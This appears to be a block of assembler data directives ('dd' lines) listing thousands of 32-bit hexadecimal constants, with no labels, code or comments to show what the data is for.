dd 0E2E22BF8h, 0A734E6E7h, 58302FEh, 68CE41B9h, 2A8B183h
dd 0B95D8C3Ch, 84819D8h, 0E1278FF5h, 0B5AF48A2h, 27AD6F68h
dd 0CDB8027Fh, 48DED80Bh, 6DE5D2A2h, 484EE77Fh, 337330F7h
dd 766E9647h, 0D750A2D7h, 2FE0EF1Ah, 8369FACDh, 454D3C01h
dd 2EAD7D29h, 0C22314A7h, 5D5B9C20h, 0FA8FEEE0h, 614E67FFh
dd 2F5A20E7h, 9558239Dh, 0E62C840Eh, 9B37E758h, 0A6E832AAh
dd 20C1831Ch, 123CD4Ch, 0E5EE42DDh, 0B3DA1F7Bh, 0CBF342C0h
dd 0F016FE10h, 506A091Bh, 16C95FB4h, 96CBBF98h, 4CCE604h
dd 0CED82F32h, 209CFA0Fh, 0BE381E4Eh, 1782EC8Eh, 0BE8AF8A0h
dd 0AE3C054h, 5BE806Bh, 54F45FA1h, 5581B705h, 0BF00F0B9h
dd 0E59B8D5Dh, 2A412393h, 0A53E07E2h, 0B9294990h, 4B8B9F8Ch
dd 5364CEF5h, 77BC2DFBh, 0D0FAD221h, 0B429E044h, 80EB777Eh
dd 97C94A13h, 84740ECh, 84E766D2h, 0B5971F69h, 0BCB7E6B0h
dd 1A664E8Eh, 741BD54Ah, 654456A3h, 0FC9B3583h, 7B7F47BCh
dd 0B3BCA59Fh, 65315DC3h, 36387DDBh, 0CCC5ADACh, 496F64Bh
dd 0D8E6C59Eh, 0CD3FE391h, 0F719A4C2h, 0D3E74797h, 94DE3CACh
dd 6174F118h, 9A3CD93Dh, 976CAF58h, 4838469Dh, 24B8C068h
dd 921AB87Eh, 658F4CE1h, 0A4EBB324h, 7DF1067Ah, 23C0DDB6h
dd 784509BCh, 0C279AD5Dh, 0C326CFC7h, 660E69B9h, 63D70884h
dd 218A6BD2h, 416D29AEh, 5C8FC284h, 637AD2F6h, 0C05BA96Bh
dd 0B5ABC645h, 807BE7B5h, 0E7931879h, 0AE5CDA0Fh, 1F8E1562h
dd 17E7220Dh, 0E79256FFh, 0E5FAFB27h, 6A7BC637h, 0B2565685h
dd 0A3C345ACh, 0CB86294Ah, 0D33B17F9h, 74F6BBFFh, 3F9669BBh
dd 0BAAD353h, 0EC63BDCDh, 27F1EBCCh, 0A7B92986h, 0EDB212h
dd 25D13291h, 0B5363548h, 0EBDDD774h, 0AD5D8581h, 0B40D6E91h
dd 70038A4Ch, 26BE36FAh, 494F7BFh, 505C4A1h, 7DCD781h
dd 4658260Ch, 67AF54Ch, 40422A84h, 8541B4EBh, 0FFC28F24h
dd 0A1FC2288h, 0CB455C9Eh, 99819649h, 0A28DCF9Ah, 0F622B087h
dd 529147A6h, 20488B78h, 757D156Fh, 0E635C9F0h, 5B356F09h
dd 0D731708Dh, 638C3AFBh, 0F00DF5DCh, 2A75D870h, 8CED13A0h
dd 0D37799E7h, 0A953FE10h, 364556B1h, 16B5A919h, 0A63A8358h
dd 0B6C07C34h, 0D910E107h, 72A413E5h, 859FF3B7h, 8709FF57h
dd 1F1DB97Bh, 1CA7FD41h, 6FBC98C2h, 30B19ABFh, 717ECC54h
dd 149EDF89h, 94996A3h, 0DCD611A5h, 5C1685AAh, 0E7508A76h
dd 0A0B1706h, 713ED181h, 0D4C5F7FAh, 31758E41h, 8DDE6D8Fh
dd 0E2DAE2BFh, 0AEF67Ah, 33F5187Dh, 0C86C14FAh, 0F66A5016h
dd 9471ED9h, 0ED651F20h, 429F9A99h, 2EF0B6C7h, 66FAD882h
dd 24FD3C84h, 99171A5Eh, 9524FF6h, 5800F1ABh, 0D17060DDh
dd 0BD0C7ABEh, 4B5512A8h, 6A48278Ch, 740711EBh, 0DC88275Fh
dd 0CBD70F62h, 74E4E14Ch, 219493FEh, 26E3B1A1h, 6657428h
dd 1A9D452Ch, 0E88413D9h, 0A0882B7Bh, 0A1E9D06Bh, 0F7B870E0h
dd 1A425F97h, 7BAF0A6Ch, 0D55D355Bh, 0D2369852h, 0AE64E4BDh
dd 388F7E01h, 0A143FBA7h, 831E1BE2h, 0EB63888h, 0FDA3001Dh
dd 2606BF37h, 80C28C16h, 9640119h, 0ED07AE19h, 0ED0A1557h
dd 978E704Dh, 0A298C4B6h, 0C08093FCh, 0B47BC446h, 3B12F61Ah
dd 0E7F21977h, 708FC253h, 8DB9203Bh, 0E1BC960Fh, 91000B31h
dd 7FD19820h, 406DFD83h, 0B0D5FE8h, 5CEC3D90h, 20EE481Ch
dd 0E1ED582Dh, 0D071D6D6h, 58F941F3h, 0C3C7BF53h, 0AC1AEB3Eh
dd 0AB1B6E9Ch, 0AA2F1F80h, 5AC80E60h, 0C9A6DAB8h, 0F0135548h
dd 0B23CD748h, 9212513Dh, 5822EB23h, 0B845297Fh, 91F2B53Ah
dd 6C8D3C37h, 808301E4h, 0AF9AC8B6h, 0E9004B5Dh, 6786C35Dh
dd 0A0F0987Bh, 33A4A0F7h, 0DFB19E0Bh, 0B5F1F2B4h, 0B7F6DDB6h
dd 0C7253F65h, 49E58809h, 5694CDB4h, 2E4657EBh, 40BB3D0Fh
dd 62B95E38h, 46A5A475h, 626BFDDFh, 4BCFB49Eh, 96F9D747h
dd 480FC86Fh, 1F5EC27Bh, 55BB379Eh, 3E7FABAAh, 9C989758h
dd 0BEC4DAE7h, 0EA9CFF18h, 0AFDD67C3h, 0A1DB7E93h, 8DF72B7Dh
dd 0E8E08496h, 0E5555FB1h, 0C778328Fh, 90EE3991h, 34CCFEE6h
dd 0C300F469h, 0E46C6F08h, 0D9022289h, 39696E55h, 0E8494644h
dd 2BE242C3h, 14CA43BAh, 0B3F03442h, 0B91C6009h, 3C430F60h
dd 8AE11E8Dh, 0A4A2D9CAh, 4A99856Dh, 0E612044Ah, 24D9A693h
dd 0AE031C49h, 5F9D67E8h, 2B9DE823h, 0D5D1D521h, 0AC9A0276h
dd 8FA535B2h, 4F4D7A9Ch, 0AA599BB1h, 823FDB27h, 903DA65Ah
dd 5BB0B8C6h, 19AE5045h, 25C7468Fh, 24885C61h, 7AFB2CB8h
dd 4CF6EF98h, 0C97E4562h, 4DF9108Bh, 0D76FFA4Eh, 0E8312F5Fh
dd 0E6FF8C49h, 0ACA16FE3h
dd 0FEB5E54Dh, 6C429E17h, 0E5822F2Bh, 400874F4h, 0E822B691h
dd 122947EFh, 0E829D1Eh, 0B3D46DE7h, 0CB714555h, 0C2B5D935h
dd 2B6D91B1h, 0C26AA285h, 32A69AE3h, 511E33E3h, 0A9D67527h
dd 0E7C39AC0h, 4698B072h, 2F5AAE0Ah, 1B944498h, 2CB8EE88h
dd 68BACF67h, 0D843C020h, 6B999177h, 0D261141Fh, 0ACA657C7h
dd 0D34689Dh, 71826F16h, 2AABD9DFh, 949636A2h, 373465E7h
dd 0D3042EF3h, 0D4D301F9h, 0B6C0C9F6h, 4219C8E7h, 4709B17Ch
dd 1CB3C7B0h, 4204DCE8h, 0FCAA60Dh, 50D5C0D5h, 0BE2C4AF3h
dd 0B7E07A89h, 84DBFB9Fh, 0E002D335h, 0E2ABAB23h, 0CEAA45B8h
dd 7D9867BAh, 473B5E6Eh, 680A91F1h, 0C6844067h, 0CA532CBh
dd 0B718391Eh, 656D1EB4h, 165F37CDh, 0FE942F72h, 9257A030h
dd 3C64E6C9h, 729FCFFEh, 33965ED1h, 84F45F50h, 783E7FF8h
dd 6A596760h, 30E89A63h, 9D3D6F12h, 0DC0BC7CDh, 0A62D953Ah
dd 3F57E721h, 52685CECh, 97A285BCh, 4BBE5C79h, 0FF6B2B44h
dd 0A013508Ah, 80C3FC64h, 0E6C24385h, 5B95DC02h, 0D418435Bh
dd 33DB33F6h, 0A8A24196h, 0FC2AEB9h, 0CD4C0157h, 0AA6C524Eh
dd 2B1D902Eh, 0C406BAD4h, 7BD39B15h, 28DAB2BAh, 5CFF45E4h
dd 0AD36F0FFh, 8E8F07B6h, 0FBE48B62h, 0F29F607Dh, 24D563F2h
dd 98721D28h, 28FC11CAh, 0B22E4322h, 3A08E77Ah, 90B01D33h
dd 950AE1B5h, 77DAA4DFh, 17E62DEh, 5CD9718Ch, 715FA72Bh
dd 82E0AE40h, 0A0A39F64h, 0D6217E4Fh, 0FA126C2Ah, 13DE8B2Dh
dd 6DAC71DBh, 19F01230h, 0AFAA94D9h, 0F3D29589h, 1FE29BDFh
dd 433D97A1h, 613EE10Ah, 2A00A661h, 9B94A797h, 0E6E5DCACh
dd 0A879BA9Ch, 1522299Dh, 0CD855E41h, 17BB4E0Eh, 0DD561FC0h
dd 4C3FF79Ch, 3DB8E73Dh, 0DF198AADh, 81123E94h, 35E92FAEh
dd 8CEF1667h, 3376FE69h, 0D07D23Eh, 1417CAFCh, 866AD99Fh
dd 151431C9h, 0C06C13F2h, 1EF18BD8h, 68224849h, 6E6EE787h
dd 3C42FEE9h, 9E8891ADh, 0F0661CEAh, 73C89745h, 0F342CAE1h
dd 0D88D2CB4h, 18B7BD99h, 1822143Fh, 9D027085h, 76CB8D7Bh
dd 696D0AEEh, 8F79B3F8h, 99A56E15h, 0C869D0B5h, 62B43617h
dd 2D57B50Bh, 0AFC4796Bh, 0CD319830h, 59BE143Fh, 0F3D2ADD4h
dd 2DC2D51Eh, 0FE92519Ch, 3B859C31h, 0D478DBF2h, 0A0838D7Eh
dd 0AEF5CB14h, 829CA333h, 0F3AE0B4Fh, 18904141h, 0BD6B75ABh
dd 9BD4A8CFh, 5DD4D318h, 0E65A442Fh, 1E7FE8E7h, 0E7A8CC43h
dd 0CAFE67DBh, 0AE25840h, 0F838F740h, 10B7BC85h, 46685B53h
dd 40C46B6Fh, 0F20F2DAh, 507FA53Dh, 2803C63Ch, 0CDB68D9h
dd 631F117Eh, 9370C5DBh, 895A47ADh, 8D67B3A3h, 52EE003Bh
dd 56BFBD1Ch, 6DB26BEh, 544D9E9Fh, 0D641A57Bh, 5A973FFh
dd 53A3996h, 44B5B675h, 4624239h, 0D33D48E1h, 0B05519B0h
dd 0C9693271h, 342823C2h, 1BAF2291h, 89DF38BDh, 807CACE4h
dd 0FB98A14Eh, 0A093FCD3h, 0F7E8829Eh, 0E53643E0h, 50705CBFh
dd 0AC115E8Bh, 0B79CE6A2h, 419231DCh, 0E27340E0h, 0E364F99Dh
dd 0C9BBA8C9h, 0DF572CFAh, 0E472589Dh, 630723E9h, 6545D94Bh
dd 250DAEBAh, 4CF1087h, 51F54C3Fh, 0D680FEADh, 0E92F5CD8h
dd 0ADCE4BD0h, 0F96BB7C7h, 37964B7Bh, 0A8F87170h, 0E9342066h
dd 0AF2A9A87h, 45F94B87h, 3917FC4Eh, 3B94F4D3h, 0D2C42F27h
dd 7E311BD4h, 9BA46317h, 9E6BC5FDh, 423A8B0h, 7C65AFE5h
dd 5F6CDA87h, 71454058h, 21402552h, 9EE16A2Dh, 2C28C3F5h
dd 0BBE27A48h, 36CF0084h, 0D943D10Bh, 8F6C0B08h, 75AF52EBh
dd 797E94E1h, 3583D579h, 90DD1F0Fh, 40306164h, 62880ED1h
dd 0DC38FA45h, 0C37444EAh, 1B3CB409h, 1436D459h, 0A577D680h
dd 189633A9h, 0B87A7384h, 1CACD415h, 938573B0h, 2EB8886Ch
dd 0C505CD6Bh, 0D362E33h, 2444CDFEh, 12B9D055h, 0F6E8E72Ah
dd 0BDF19E5Dh, 1BB6A762h, 952B1D80h, 76B2DC1Bh, 0CE50F5CCh
dd 3185874Eh, 2C5CDEFEh, 0EA1E1137h, 32F65099h, 0E7207C82h
dd 90ABF3A5h, 0DF3EB330h, 1277954Ch, 0A23B0B18h, 0BFF0A884h
dd 6EB97926h, 0E08D68A0h, 0BF88DAh, 2BF6EB0Dh, 35A1B108h
dd 964737DDh, 943FB2D7h, 687A9A10h, 4D38052Ah, 9CE4AA45h
dd 3391F708h, 9E86A52Fh, 0C087E726h, 4AD4291h, 0B3B4A5BBh
dd 130718F6h, 0B92F5670h, 7FB263A2h, 0E6387B9Ch, 3AE3372Bh
dd 0CB20DEB6h, 0E091C934h, 0E33E5E0Dh, 4B440225h, 87CA5657h
dd 70CE631Bh, 0D6EFF685h, 613A8178h, 2928E82Fh, 71A9BDCh
dd 0CA0563B7h, 4B3D2244h, 1B74EADh, 42A89DE8h, 22502CAAh
dd 0DCB3CFC1h, 845560ACh, 93487DB3h, 65C2D465h, 55DAD59Bh
dd 2001BA28h, 0EE061907h, 60C2ED27h, 4C17E3Ah, 0B245E433h
dd 99CA3487h, 0CBB209A2h, 0D9957E58h, 4D369427h, 0E4F94535h
dd 95D12A41h, 97064BDAh, 0B269D5BFh, 0F476757Dh, 0D082D0B2h
dd 0BFFFE95Bh, 0C36EA749h, 81471AFBh, 575606ECh, 17DE3CE0h
dd 6A4C60E5h, 62B3EED3h, 0E36DD539h, 0CD08BD89h, 1BB604CAh
dd 14EFF9B5h, 0EFDB2F73h, 9231353h, 0BBBDE057h, 0F9832BDEh
dd 18199175h, 0BE7FBD9Ah, 5AC7CB47h, 499C56DBh, 0CE53D78Fh
dd 9CE93675h, 6A55513Ch, 1818C64Eh, 94F8219Fh, 2FFEE033h
dd 48400FB2h, 570E0485h, 5AFAF870h, 4AC6BB3Ch, 0D830C2A2h
dd 2E2033BFh, 0F83CDF69h, 75D5876Dh, 0E685FAB4h, 15495E79h
dd 0DF28844Fh, 40C15D65h, 7E16E777h, 0FF2629F8h, 17C0D251h
dd 0B31AB44Eh, 323A5204h, 9FD28EBCh, 0F90DAC64h, 0CE82EAC2h
dd 3F2CA8B5h, 0FB34D5C2h, 1254DBC8h, 0A4AEA6Ch, 5AEEF264h
dd 8E32CB90h, 7F814A2Bh, 6CF0A627h, 84071F37h, 94A0BA61h
dd 0C95DF6F7h, 0A2B1D281h, 1DE9E3FBh, 3593E291h, 0CFAAC015h
dd 3E0EF180h, 5302BA8Bh, 9DBC8EE3h, 0FE196AA0h, 8FF9D0EFh
dd 1F2B849Eh, 64731139h, 29034B1Ah, 112C4872h, 0F8170D43h
dd 8EE9D00Fh, 0B7EC6784h, 0AD0478A3h, 0AF37CE33h, 44936FF1h
dd 7CB0139Dh, 0DADD5637h, 2D608A9Bh, 6821AB96h, 44A99334h
dd 0EBC5401Fh, 1954BE0Ch, 0AA0241A3h, 0FE712AFDh, 0A16F4B70h
dd 0EFB520AEh, 7E4727B5h, 0DBA00B29h, 57AE4009h, 7ABFDC0Ch
dd 20227139h, 0CA6B57CAh, 0EF33A367h, 9B1C3693h, 40571ED1h
dd 0C3E54407h, 5BF44B3Eh, 0D34FDFDFh, 1690D0C1h, 90326EFCh
dd 4044BDBDh, 0E5BB2A69h, 14ADF06Fh, 5F7F87BFh, 0A62ACC9Eh
dd 47172F8Ch, 8C810365h, 7FD1740Ah, 3AC6C585h, 61E85B35h
dd 0F8EE548Eh, 0B8AB1200h, 0DB2864C8h, 0B075F3C7h, 451DCDD4h
dd 64678E97h, 1EE8157Bh, 5797B59Bh, 21F5C56Ah, 77732EE8h
dd 6B22A03Fh, 5F3C05D5h, 2F1AF182h, 0F4F9B61h, 31F10BE5h
dd 4C675F7h, 0AFC9357Bh, 333F104Fh, 0FDE2874Ah, 0E2354A8Ch
dd 13A9E37Ch, 2CB4FB93h, 0CD4E78FAh, 9F0F57C6h, 0D149A09h
dd 0F9A43FC5h, 3E462CD1h, 2E39BC41h, 2B042093h, 0E4D34B6Ah
dd 3DEA8C12h, 86FD5343h, 0C9F8001Eh, 0CAD90E65h, 0B89E050Eh
dd 56DD877Ch, 81C9BF9Ah, 42626DE6h, 0F1F01E1h, 9D43Bh
dd 0E088CCB9h, 3F0D8278h, 31352937h, 0EED3D422h, 45F7171Bh
dd 5EE37DEh, 0E3E50CCBh, 634999B5h, 0B28649C3h, 92DCC0F4h
dd 57EAE479h, 0B817EF4Dh, 0D0DAA444h, 0B503C4B2h, 22B862E1h
dd 5765F9F7h, 369DA65Bh, 0A1EBCAB8h, 2946C3F4h, 0DE49ABF9h
dd 0B6A549E1h, 9570104Eh, 3AD82EDCh, 40C5C3A2h, 0A05CFBCDh
dd 0B5BCB19Fh, 974F1Fh
dd 5AA26B3Eh, 76A88F7Eh, 4FF4B030h, 0E4F6CCF0h, 0DBED137Dh
dd 0E764A688h, 0F9FF4776h, 8767689Bh, 8C3C0CB5h, 7FFC0481h
dd 0B47C3F32h, 6EDFD53Fh, 0E0216339h, 0CF219D12h, 0A1DF0156h
dd 7A4291DDh, 0A0DCD8D7h, 1BF87C9h, 0C2E42A56h, 0EEE3A75Bh
dd 1D9D4CEDh, 285A3FF4h, 89D20F4Ah, 23E857Eh, 5A8C5BDAh
dd 5A886E50h, 7E5F5E19h, 0CA372D96h, 5CA1A27Fh, 34ADBDBAh
dd 37FC639Ch, 0C9FF6733h, 2391DD60h, 19D4BB67h, 52B15FA5h
dd 0EC5F1250h, 425A031Ah, 65DAD002h, 7BD21E97h, 0B2F0EC65h
dd 0E2D20889h, 0F255F6E2h, 68F6C460h, 0EC33B949h, 8879CFB8h
dd 0F0B93C13h, 0E90EDFE0h, 1352BF72h, 813DF44Ah, 1B950866h
dd 0A25E896Fh, 0B891FB1Ch, 2A873D94h, 0E30E39F5h, 2097F8A6h
dd 0B4F67BEFh, 0F0AAFCEBh, 0C6029FF8h, 8909245Ch, 0EC2949B0h
dd 9B5C61B1h, 0AA195929h, 0B92E85F6h, 7C64FECFh, 0BBA9F2FBh
dd 0E49157A3h, 1E5A51ECh, 0B5D73727h, 780DB7B9h, 75438C7Ah
dd 760B6E86h, 80C6D707h, 998ACB94h, 6181443Fh, 0ED3C3548h
dd 9128072Dh, 0EE3D3DF9h, 0FF70AB69h, 0CD108BA5h, 0DF83C0C9h
dd 0D4F31807h, 0CD862B0Ch, 0EEE86087h, 593C0621h, 96A8A678h
dd 0F7B2E585h, 0E926804Bh, 0FD76941Bh, 9AE175E2h, 40F946D6h
dd 0D4110C12h, 0C1F848A3h, 8281CE38h, 0C53D4D8Eh, 7F09E2D2h
dd 0EC831CFDh, 0C9B91A5Eh, 678942FCh, 6B233FCAh, 8829A133h
dd 2B498FC0h, 4C9859EAh, 0B6DB919Ah, 0C550D033h, 92D84C8Eh
dd 0BC9FF6C2h, 0BD837392h, 8214CABDh, 4370D48Ch, 0FFF8999Fh
dd 5E20DF91h, 4AEFCF3Eh, 0CA973D81h, 0F0C2D429h, 4570349Dh
dd 0FD445616h, 3E998Fh, 0C70974BBh, 0C0F46ECEh, 54558F15h
dd 8F7BDF5Fh, 0C9EEE830h, 0F8B6C002h, 4CE16153h, 7953D38Ah
dd 1CCBC96h, 0B64C2D33h, 0D97DE169h, 0B5858D85h, 8AB5667Eh
dd 0F06FE92Ah, 91B10B42h, 53FDBA97h, 99A3135Eh, 0B355E70Bh
dd 0A1B73F6Dh, 70B9287Ah, 8223658Bh, 33ED986Ah, 83C888D8h
dd 0EE4F8DE5h, 3930E55h, 0B6895D13h, 211E0824h, 97AE06B2h
dd 7250EEAFh, 3739D1B5h, 0CC382729h, 3A0822CCh, 27166FA4h
dd 0FE9B0604h, 0E59F2200h, 0DDBABEF7h, 90AAB39Bh, 204BC482h
dd 2AED60A3h, 9C5A829Eh, 20B9DF4Ch, 58F1E60h, 0EF0ECE7Dh
dd 337D77Ah, 32F2FC77h, 6633B4E2h, 826F4240h, 0E3B5ACD5h
dd 9E397006h, 0E9980C63h, 6D3045BCh, 2C30F7B1h, 0CCCEE3A0h
dd 9E6FA3C0h, 0E54B1081h, 2E43404Ch, 0B1E1677h, 9284062Ch
dd 0DE788EF7h, 3258DEF3h, 9920016Eh, 4C58D49Bh, 0BEDEEC52h
dd 14143A9Eh, 892CFE1Dh, 3E78E694h, 0CA0042F9h, 14DC3CF7h
dd 0A54B8634h, 92BB21F8h, 2D89E508h, 0BF4D573Ch, 6B0A7448h
dd 7D37D32h, 0F9B3C0Bh, 0C27D0E46h, 0CE67B53Dh, 63F47F84h
dd 0FA0B32EBh, 0AB5849Bh, 3309E08Dh, 2FE0998Ch, 0A8A6FC11h
dd 0DB246DD9h, 221D2E87h, 39676E15h, 0AD42DF68h, 2B1216BAh
dd 9521AC43h, 0A1F7119Bh, 0BDAFFFA0h, 0E7578D46h, 0AFD6751Bh
dd 0BE5FE7A3h, 0CFAF7BFCh, 0D8706F04h, 0E997B9D7h, 4F043D23h
dd 0F1B23809h, 4A1ECEE4h, 0A21BB1F3h, 0CD0B0C0Fh, 11D67D6Bh
dd 0F2421775h, 45DD4D9Bh, 8E314Fh, 6516D28Ch, 836DAD57h
dd 0FF0509C3h, 0D4226672h, 0C0FB78F5h, 6EDDF4C9h, 0FE930079h
dd 0FB4D8596h, 0B7537DE8h, 0B3E537Eh, 5FA9F95Dh, 0BF25A3DFh
dd 55566D45h, 4108E78h, 0DECDB960h, 29A25D18h, 0ECA1AE5Eh
dd 148EC75Dh, 1D72FE62h, 0F0F8F7B9h, 88D060Dh, 9E088328h
dd 70F03EABh, 21BC1068h, 0F331A14Fh, 0DCC857C2h, 64558156h
dd 496999CCh, 5B96F685h, 7FAFB220h, 17CFF68Eh, 266AA458h
dd 5BF6F336h, 12D80CB5h, 359ABBBFh, 0F8F5BC72h, 8763D53h
dd 0F2720B0Eh, 0B0849F21h, 49DCC81h, 0FF2D1475h, 99187F6Dh
dd 0BE601CB0h, 8A84438Ah, 6EE49B8Eh, 0C44FE897h, 0C91346ABh
dd 5BB7EB2Ah, 981EBEBAh, 0E41673E3h, 9210FE89h, 0E24E35F6h
dd 2A89621Fh, 6C415DB2h, 48B0D2FDh, 3D83FCC6h, 27997246h
dd 0EE227EFBh, 4334BD4Dh, 619DE411h, 1FDEE49Ch, 0B41B2FECh
dd 1BBFAA82h, 98EAED21h, 4A41999Dh, 99B2201Eh, 0CE208218h
dd 0C5396D23h, 2DA1429Ch, 0EBB14C2Fh, 0F3BD0C43h, 0C56642B5h
dd 0AAA99042h, 2BD6600Ch, 0CB03D896h, 0CDFBB6A6h, 21118246h
dd 19BC671Dh, 0D730F1FCh, 996BE587h, 0BC6AE53Dh, 958FEC8h
dd 0E1EC6C58h, 0CAE0FBACh, 0E811A973h, 31E7074Fh, 68BC8747h
dd 42E7F2CEh, 41606EA2h, 48EEF58h, 0D6B5EFB2h, 0FC64FAD4h
dd 0C43C6286h, 763D2C57h, 0FC817475h, 0D6F98E18h, 0F7792C5Dh
dd 0E6AA605Eh, 0AA13A5AFh, 2BDF611Fh, 0C8CBF7E6h, 28069A11h
dd 0CB6075EDh, 0F9062BF9h, 0FA5B32BEh, 38E4197Eh, 886A4DFDh
dd 2787E111h, 0D7A64DABh, 21BD9BE4h, 67E4470Fh, 0D458FEDBh
dd 975125FEh, 0A006A9B7h, 8A21A812h, 0EF1FECC9h, 0D1114693h
dd 0BC7BC15Bh, 29176A55h, 5F740D29h, 4DB3AD8Ch, 8144C3FFh
dd 33309F26h, 0B9B16BD8h, 9484D89Ah, 0B43E3A73h, 1053EB41h
dd 105FB552h, 31FF53BCh, 0EFEAACA3h, 0A897DADFh, 64D7D24h
dd 0B4C09D09h, 16524BCFh, 0C9D5BD21h, 10FAA481h, 6DFE2F2Eh
dd 750E7BC5h, 587A6004h, 0C22C6DE2h, 985E9D35h, 0F30AE42Dh
dd 0ADA11ACFh, 538148E4h, 22CAF1FBh, 0B6D9CD29h, 76480E63h
dd 269A1911h, 10E38656h, 7C709295h, 0DA48F9DCh, 1B191881h
dd 3A2EB403h, 0C1CE58E6h, 2C07152Bh, 79B578DAh, 2FE251B8h
dd 0A4AC8636h, 1C00CA7Ch, 7CD82545h, 95C5CDD8h, 0CB61B3E8h
dd 0E17BC586h, 0B0509CDBh, 51D45FA6h, 53FEA113h, 49D56C3Dh
dd 6195F7B9h, 779C7B32h, 77D0469Ah, 0C71B5082h, 9082636Eh
dd 94BD82E1h, 8F4770ACh, 20971C24h, 394CF171h, 355FA74Dh
dd 0F8285CF0h, 96F58326h, 30D1D832h, 0A246D2E1h, 8DA8DA20h
dd 30C9C0B9h, 9C24B7C8h, 5BE325D9h, 6D12BBC1h, 1D153785h
dd 76B2451Eh, 4C0C7A40h, 0F0D9E1A1h, 2C2AECE5h, 872A9680h
dd 6FDAF319h, 41F6A9A1h, 1A7E6D0h, 0ED855D7Ah, 37345804h
dd 85FDB162h, 636D4757h, 1D5125D0h, 0B500A37Eh, 8439334Ch
dd 7F911CD3h, 800BAEDAh, 6AC55E49h, 8543BF14h, 697537F6h
dd 5567663Ah, 0F2B60146h, 4A10533Ch, 4426264Bh, 0D127B9DBh
dd 98DA3630h, 59854F01h, 0EC9473EDh, 3F402509h, 0C998B8C1h
dd 0A0AAED3Eh, 0B1F01297h, 0E9389F79h, 6D425540h, 2F597058h
dd 0FB3C1012h, 6D26F212h, 11C3D355h, 25BDF91Ch, 38913FC4h
dd 45E83A01h, 7BCA7BDAh, 7F41B1CBh, 0E9C6F28h, 66256432h
dd 154E21C9h, 0BF02C68Ah, 0ED2B38A4h, 1EADD9FBh, 0F7C46962h
dd 0C52B3735h, 0DE7FE053h, 9C05CA56h, 412678E9h, 0A5F47415h
dd 0F9C9E7A7h, 0A70DF600h, 0C7BCB816h, 40CF96F9h, 6FC00CBh
dd 2560FE58h, 93134AB8h, 0D97878F2h, 4212CA26h, 0B820B31h
dd 7B26CAD9h, 4247ADBAh, 0D9CD94FDh, 7DEB65EEh, 0C6628DC6h
dd 0B80AB122h, 230DAD2h, 8CB24169h, 630AC335h, 292D242Dh
dd 3BA5B319h, 9DFD4B46h, 0B2F99E4Eh, 9D9AAEACh, 0D55436AFh
dd 0A7FD9620h, 0FE1BB8EBh, 0EEAA6802h, 0E4D74453h, 0C7FB7336h
dd 0F4CF2A0Ch, 42136277h, 6E37A0A8h, 1BA4750Ah, 5D1B2122h
dd 0A08F8A10h, 0A7D29FDEh, 8B705663h, 9B1AF53Eh, 4F1FDCA5h
dd 696DB877h, 0C54169CCh, 82DEB41Bh, 0F8D4426h, 7A4BBA5Fh
dd 7E6F68ACh, 0AD7A8093h
dd 0D5473F15h, 0C6FB7F2Dh, 705F9362h, 7CC9FA3Ch, 42890705h
dd 7E159B96h, 533A5739h, 368F3635h, 9DA22D7Fh, 3CBF23BCh
dd 2847255Bh, 0F4037BFBh, 0F3D026D1h, 1FE7FB19h, 0B0E9D3AAh
dd 1A5689A0h, 971ACBACh, 7E3D12ACh, 9650AF0Fh, 9AA0326Ah
dd 5FBEF640h, 5E3554BAh, 9940EB60h, 18D75893h, 0B25366AEh
dd 0ADAC2C0Bh, 48056307h, 505DDE5Dh, 0DC13794Bh, 0DB879A66h
dd 143E05B6h, 91BD6AE9h, 643A4A7Bh, 5855A08Ah, 479B0801h
dd 104FED97h, 0A29F975Ah, 7C2BC497h, 3A8FEB66h, 88F84417h
dd 380C3C5Ch, 15393E7Eh, 0BC4410DCh, 0D7FAD70Ah, 2279D4B9h
dd 3C6F87E9h, 0E2BBFD3Eh, 4C02A32Dh, 12EE5651h, 947FF4E2h
dd 0D8C3527Bh, 997DA54Ch, 0D66FC0C1h, 3AC47F5Ah, 3BBE85Ch
dd 46755E26h, 0D575900Ch, 36E500B6h, 5D65835Ch, 0F81C33EEh
dd 0D0DA60F3h, 850CECD4h, 0DA84E59Dh, 0C0B741EBh, 0A3A63369h
dd 44B9342Eh, 339E8E96h, 2299348Eh, 94D9BADEh, 5800D129h
dd 0BFC9B2CFh, 0A8A26BBh, 9F50ED6Dh, 85ADCEC0h, 27D5F93Ch
dd 0EE1657F0h, 9C0A0312h, 0D67BF62Fh, 23D691D1h, 97208116h
dd 1F1E798h, 0B425DE40h, 1287B88Fh, 72A34FDEh, 3CE725F0h
dd 0C01FF910h, 0B062C03Ch, 0CD819CDDh, 0EE773C73h, 0FA8BCF4Fh
dd 0EFF97DDFh, 489EC2BCh, 0B4F59FBCh, 0E23C8270h, 0E8C6F32Ah
dd 5B92313Fh, 0B9FC4E25h, 0B0488322h, 7A09686Eh, 0BB73935Dh
dd 70655437h, 2FDBDCF4h, 0FC7EB666h, 210F845Eh, 60BE10C7h
dd 52BA348h, 23B6C5E1h, 0F6BC6E28h, 0F0301A82h, 7315DADEh
dd 4EFD6779h, 762CC88Fh, 0AA745D2Eh, 3DEA7A79h, 66C1F0BAh
dd 173671Ah, 31D0ABDDh, 0E52CEC9Ah, 0BDCC3E68h, 0D033E898h
dd 340DA757h, 0F7659783h, 74419B00h, 5F75586h, 0DEDEFBCEh
dd 392303C8h, 23E7D75h, 34E66339h, 0F919A5ECh, 31BD444Ah
dd 80F9922Ah, 958E9294h, 0DDBC22ADh, 0A369638Fh, 0EDF97509h
dd 681F30BCh, 0C93FF8FEh, 1A59FD08h, 48B4F4B8h, 765AE2A7h
dd 46AB0F41h, 0FAA5FA7h, 7BC8360Ch, 1ADF608Eh, 0FEF66DB5h
dd 457C4F4Fh, 8EBA8403h, 0C7FD78EBh, 0F3C441B7h, 564D9F45h
dd 79FB5F22h, 0F471DBF5h, 0B8DDC302h, 0ACA5BFB8h, 0EBAB198Ch
dd 0B4E7C20Dh, 6F729BFBh, 5A799949h, 0E6FAD9Ch, 120887EDh
dd 1DC20B0Ah, 38013052h, 0DC5F8861h, 0B46474AFh, 6BDB475Bh
dd 0FEBEC675h, 0F249C540h, 3195DB7Bh, 4D376B7Fh, 2F4639B4h
dd 2A69668Eh, 0A645E910h, 92711C44h, 0AB5C6C16h, 8FB4CCFCh
dd 0ECC15FBCh, 9853330Ch, 0AA4C672Bh, 99D882C1h, 88B6B450h
dd 0C44A6735h, 0E78264D9h, 0B87B79E0h, 0DBA5395h, 45A365E4h
dd 0C51AAE01h, 0C98FCC18h, 0D39693E1h, 34D22837h, 2BD3E83Eh
dd 0B04BD88Ch, 20BA0912h, 39E7AABDh, 3891C976h, 784231E4h
